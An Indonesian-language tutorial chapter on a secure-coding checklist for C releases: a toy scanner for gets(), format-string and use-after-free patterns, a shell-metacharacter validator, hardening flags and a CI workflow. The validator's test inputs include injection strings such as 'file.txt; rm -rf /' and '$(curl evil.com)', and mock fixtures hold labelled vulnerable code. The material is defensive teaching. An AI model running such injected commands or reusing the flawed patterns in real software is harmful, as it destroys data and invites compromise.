Checklist keamanan adalah dokumen ringkas yang merangkum semua praktik yang harus diverifikasi sebelum sebuah rilis binary. Tanpa checklist, hal-hal penting mudah terlewat—terutama pada proyek yang dipublikasikan dengan tenggat ketat. SEI CERT C, OWASP ASVS, dan CIS Critical Security Controls semuanya menyediakan checklist referensi. Pada chapter ini kita membangun pemindai otomatis sederhana yang memeriksa source code terhadap pola rentan (gets, printf non-literal, use-after-free), lalu memetakan item checklist manual yang harus dilakukan oleh developer sebelum tag rilis.

Otomasi vs Manual: Dua Lapis Checklist #

Checklist yang efektif membagi tugas menjadi dua lapis:

  1. Otomatis (lint, sanitizer, scanner): Pola yang dapat dideteksi oleh alat—gets(), printf non-literal, dependency rentan. Jalankan pada setiap CI.
  2. Manual (review, audit, threat modeling): Aspek yang memerlukan pertimbangan manusia—arsitektur, hak akses, kebutuhan bisnis. Lakukan sebelum tag rilis.
c
/* secure_coding_checklist.c */
/* Checklist otomatis: jalankan pemeriksaan statis dasar terhadap source. */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>

typedef struct {
    const char *name;
    const char *source;
} SourceFile;

/* Mock daftar file sumber yang akan diperiksa. */
static const SourceFile sources[] = {
    { "main.c",
        "char buf[8];\n"
        "gets(buf);\n" /* VULNERABLE: gets */
    },
    { "auth.c",
        "char buf[64];\n"
        "fgets(buf, sizeof buf, stdin);\n"
        "printf(buf);\n" /* VULNERABLE: format string */
    },
    { "db.c",
        "char *p = malloc(64);\n"
        "free(p);\n"
        "strcpy(p, \"reuse\");\n" /* VULNERABLE: use-after-free */
    },
    { "safe.c",
        "char buf[64];\n"
        "fgets(buf, sizeof buf, stdin);\n"
        "printf(\"%s\", buf);\n" /* OK */
    },
};

/* Cek pola berbahaya. */
static int has_gets(const char *src) {
    /* Cari "gets(" yang tidak didahului huruf (mis. bukan "fgets("). */
    const char *p = src;
    while ((p = strstr(p, "gets(")) != NULL) {
        if (p == src || !isalpha((unsigned char)p[-1])) {
            return 1;
        }
        p++;
    }
    return 0;
}
static int has_printf_user(const char *src) {
    /* printf(...) tanpa string literal format — deteksi sederhana. */
    const char *p = strstr(src, "printf(");
    while (p) {
        const char *q = p + 7;
        while (*q == ' ') q++;
        if (*q != '"') return 1; /* bukan literal: berbahaya */
        p = strstr(q, "printf(");
    }
    return 0;
}
static int has_use_after_free(const char *src) {
    const char *f = strstr(src, "free(");
    if (!f) return 0;
    /* Deteksi sangat sederhana: ada pemakaian setelah free pada source. */
    const char *use = strstr(f, "strcpy(");
    return use != NULL;
}

int main(void) {
    size_t n = sizeof(sources) / sizeof(sources[0]);
    int issues = 0;

    printf("=== Checklist Keamanan Sebelum Release ===\n\n");
    printf("Memeriksa %zu file sumber...\n\n", n);

    for (size_t i = 0; i < n; i++) {
        printf("--- File: %s ---\n", sources[i].name);
        if (has_gets(sources[i].source)) {
            printf("  [FAIL] gets() terdeteksi — ganti dengan fgets().\n");
            issues++;
        } else {
            printf("  [PASS] tidak ada gets().\n");
        }
        if (has_printf_user(sources[i].source)) {
            printf("  [FAIL] printf(non_literal) — ganti dengan printf(\"%%s\", x).\n");
            issues++;
        } else {
            printf("  [PASS] format string aman.\n");
        }
        if (has_use_after_free(sources[i].source)) {
            printf("  [FAIL] potensi use-after-free setelah free().\n");
            issues++;
        } else {
            printf("  [PASS] tidak ada pola use-after-free.\n");
        }
    }

    printf("\n=== Ringkasan Checklist ===\n");
    printf("Total issue ditemukan: %d\n", issues);
    printf("\nItem checklist yang harus dilakukan secara manual:\n");
    printf("1. Compile dengan -Wall -Wextra -Werror -fanalyzer.\n");
    printf("2. Jalankan test dengan -fsanitize=address,undefined.\n");
    printf("3. Review semua pemanggilan sistem (file, jaringan, exec).\n");
    printf("4. Verifikasi batas input pada setiap boundary.\n");
    printf("5. Audit dependency terhadap database CVE.\n");
    printf("6. Pastikan tidak ada data sensitif di log atau string error.\n");
    printf("7. Konfirmasi file permission 0600 untuk data sensitif.\n");
    printf("8. Lakukan threat modeling ulang bila ada perubahan arsitektur.\n");
    return 0;
}

Output yang Dihasilkan:

text
=== Checklist Keamanan Sebelum Release ===

Memeriksa 4 file sumber...

--- File: main.c ---
  [FAIL] gets() terdeteksi — ganti dengan fgets().
  [PASS] format string aman.
  [PASS] tidak ada pola use-after-free.
--- File: auth.c ---
  [PASS] tidak ada gets().
  [FAIL] printf(non_literal) — ganti dengan printf("%s", x).
  [PASS] tidak ada pola use-after-free.
--- File: db.c ---
  [PASS] tidak ada gets().
  [PASS] format string aman.
  [FAIL] potensi use-after-free setelah free().
--- File: safe.c ---
  [PASS] tidak ada gets().
  [PASS] format string aman.
  [PASS] tidak ada pola use-after-free.

=== Ringkasan Checklist ===
Total issue ditemukan: 3

Item checklist yang harus dilakukan secara manual:
1. Compile dengan -Wall -Wextra -Werror -fanalyzer.
2. Jalankan test dengan -fsanitize=address,undefined.
3. Review semua pemanggilan sistem (file, jaringan, exec).
4. Verifikasi batas input pada setiap boundary.
5. Audit dependency terhadap database CVE.
6. Pastikan tidak ada data sensitif di log atau string error.
7. Konfirmasi file permission 0600 untuk data sensitif.
8. Lakukan threat modeling ulang bila ada perubahan arsitektur.

Mari kita telaah baris-baris kode di atas:

  1. Baris 8-34 (struct SourceFile dan sources): Empat file mock—satu file aman (safe.c) dan tiga file yang masing-masing mengandung satu kerentanan. Pendekatan ini menyederhanakan tools produksi seperti cppcheck atau clang-tidy yang menganalisis file sungguhan dengan parser AST, bukan strstr sederhana.
  2. Baris 37-46 (has_gets): Pemindai gets( dengan word boundary check—memastikan fgets( tidak dipalsukan sebagai gets(. Implementasi nyata memerlukan tokenizer penuh karena gets dapat muncul di komentar atau string literal.
  3. Baris 47-57 (has_printf_user): Pemindai printf( yang argumen pertamanya bukan literal string. Deteksi ini menangkap pola printf(buf) dan printf(user_input)—keduanya kerentanan format string. Versi produksi memakai -Wformat-security compiler flag yang jauh lebih akurat.
  4. Baris 58-64 (has_use_after_free): Pemindai yang mencari free( diikuti strcpy( di kemudian kode. Pendekatan strstr ini menghasilkan false positive (mis. free(ptr1); ... strcpy(dst, src); yang tidak terkait) tetapi cukup untuk demo. Alat seperti AddressSanitizer atau Valgrind mendeteksi use-after-free aktual saat runtime, jauh lebih akurat.
  5. Output (main.c): Tiga dari empat file mengandung setidaknya satu kerentanan. safe.c lolos ketiga pemeriksaan—contoh kode yang mengikuti praktik aman. Ringkasan Total issue ditemukan: 3 memberi gambaran cepat untuk dashboard.

Deteksi Shell Injection #

Item checklist otomatis tambahan: deteksi karakter shell berbahaya pada input yang akan diteruskan ke system(), popen(), atau exec dengan shell. Berikut pemindai sederhana:

c
/* extra_secure_coding_checklist.c — cek shell injection pada system() args. */
#include <stdio.h>
#include <string.h>

static int has_shell_metachar(const char *s) {
    if (s == NULL) return 1;
    /* Karakter yang dapat memicu command injection bila diteruskan ke shell. */
    const char *danger = ";|&`$()<>";
    for (const char *p = s; *p != '\0'; p++) {
        if (strchr(danger, *p) != NULL) return 1;
    }
    return 0;
}

int main(void) {
    const char *inputs[] = {
        "myfile.txt",
        "file.txt; rm -rf /",
        "name`whoami`",
        "safe_name.dat",
        "user;id",
        "$(curl evil.com)",
    };
    const size_t n = sizeof(inputs) / sizeof(inputs[0]);
    for (size_t i = 0; i < n; i++) {
        printf("[%s] '%s'\n",
               has_shell_metachar(inputs[i]) ? "REJECT" : "ACCEPT",
               inputs[i]);
    }
    return 0;
}

Output yang Dihasilkan:

text
[ACCEPT] 'myfile.txt'
[REJECT] 'file.txt; rm -rf /'
[REJECT] 'name`whoami`'
[ACCEPT] 'safe_name.dat'
[REJECT] 'user;id'
[REJECT] '$(curl evil.com)'

Validator ini menangkap karakter ; (command chaining), ` (backtick substitution), $() (command substitution), < (redirect input), > (redirect output), | (pipe), dan & (background). Input yang lulus pemeriksaan dapat aman diteruskan ke shell—tetapi praktik terbaik adalah menghindari system() sepenuhnya dan memakai execve() dengan array argumen yang terpisah, sehingga shell tidak terlibat sama sekali.

Lapis Manual: Yang Tidak Bisa Di-Otomasi #

Item 1-8 pada bagian bawah output adalah checklist manual yang harus dilakukan oleh developer. Mari kita bedah satu per satu:

1. Compile dengan Flag Ketat #

bash
gcc -std=c11 -Wall -Wextra -Werror -Wformat -Wformat-security \
    -Wconversion -fanalyzer -D_FORTIFY_SOURCE=2 -fstack-protector-strong \
    -o app app.c

Setiap flag menangkap kelas bug berbeda: -Wall -Wextra untuk warning umum, -Werror mengubah warning jadi error (wajib untuk rilis), -Wformat-security untuk format string, -fanalyzer untuk analisis alur data, _FORTIFY_SOURCE=2 untuk fortifikasi libc, -fstack-protector-strong untuk canary stack.

2. Jalankan Sanitizer pada Test Suite #

bash
gcc -std=c11 -Wall -Wextra -fsanitize=address,undefined \
    -fno-omit-frame-pointer -g -o app_test app.c test.c
./app_test

AddressSanitizer mendeteksi buffer overflow, use-after-free, double-free. UBSan mendeteksi signed overflow, null deref, shift out-of-range. LSan mendeteksi memory leak. Jalankan semua test dengan binary yang dikompilasi dengan sanitizer.

3. Review Panggilan Sistem #

Daftar setiap pemanggilan open, read, write, socket, connect, bind, execve, system. Untuk setiap panggilan, verifikasi: (a) input pengguna tidak terjun langsung, (b) ada pemeriksaan batas, (c) error ditangani, (d) resource dibebaskan setelah dipakai.

4. Validasi Input di Setiap Boundary #

Identifikasi semua titik masuk data: main(argc, argv), fread dari file, recv dari socket, getenv dari environment. Setiap titik masuk harus melalui lapisan validasi (panjang, tipe, range) sebelum mencapai logika bisnis.

5. Audit Dependency #

Jalankan trivy, syft+grype, atau layanan seperti Snyk. Pin versi di lock file. Update minimal sekali per sprint. Buang dependency yang tidak dipakai.

6. Filter Data Sensitif di Log #

Cari di source semua pemanggilan printf, fprintf, syslog, fputs. Pastikan tidak ada yang mencatat password, token, kunci API, atau data pribadi. Mask dengan **** atau hash bila perlu menyimpan jejak.

7. File Permission Audit #

bash
# Cari file yang dibuat program dengan permission terlalu longgar
find /var/lib/myapp -type f -perm /077
find /etc/myapp -type f -perm /077

Setiap file yang berisi data pengguna harus 0600. Direktori kerja 0700. File konfigurasi 0640 (owner read-write, group read-only).

8. Threat Modeling Ulang #

Bila arsitektur berubah—misalnya menambah endpoint API baru, mengintegrasikan service eksternal, atau mengubah alur autentikasi—lakukan sesi threat modeling ulang dengan metodologi STRIDE. Update dokumen threat model dan verify bahwa kontrol yang direncanakan benar-benar diimplementasikan.

Integrasi dengan CI/CD #

Checklist otomatis sebaiknya dijalankan pada setiap CI pipeline. Contoh konfigurasi GitHub Actions:

yaml
# .github/workflows/security.yml (konseptual)
name: Security Checks
on: [push, pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Compile dengan flag ketat
        run: gcc -std=c11 -Wall -Wextra -Werror -fanalyzer -c src/*.c
      - name: Test dengan ASan/UBSan
        run: |
          gcc -fsanitize=address,undefined -o test_runner tests/*.c src/*.c
          ./test_runner
      - name: Scan dependency
        run: |
          syft dir:. -o cyclonedx-json > sbom.json
          grype sbom:sbom.json --fail-on high
      - name: Static analysis
        run: cppcheck --enable=all --error-exitcode=1 src/

Setiap langkah yang gagal akan memblokir merge—menjamin hanya kode yang lulus checklist yang masuk ke main branch.